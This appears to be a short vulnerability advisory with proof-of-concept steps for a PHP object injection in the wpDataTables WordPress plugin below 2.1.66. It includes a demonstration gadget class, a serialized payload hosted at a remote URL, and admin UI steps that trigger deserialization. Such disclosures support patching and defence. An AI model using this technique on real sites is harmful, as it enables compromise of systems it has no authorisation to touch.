wpDataTables < 2.1.66 - Admin+ PHP Object Injection

1. Include the following PHP code on your site to simulate a Gadget.

class Evil {
 function __wakeup() {
  die('Arbitrary deserialization');
 }
}

2. Host the following payload at a publicly accessible URL (e.g. pastebin).

O:4:"Evil":0:{};

3. In WP Admin, visit wpDataTables > Create a Table.

4. Click "Create a data table linked to an existing data source." and click "Next"

5. In "Input data source type" choose "Serialized PHP array", and in "Input file path or URL" choose the URL from step 2.

6. Click "Save Changes" and see the Arbitrary Deserialization message.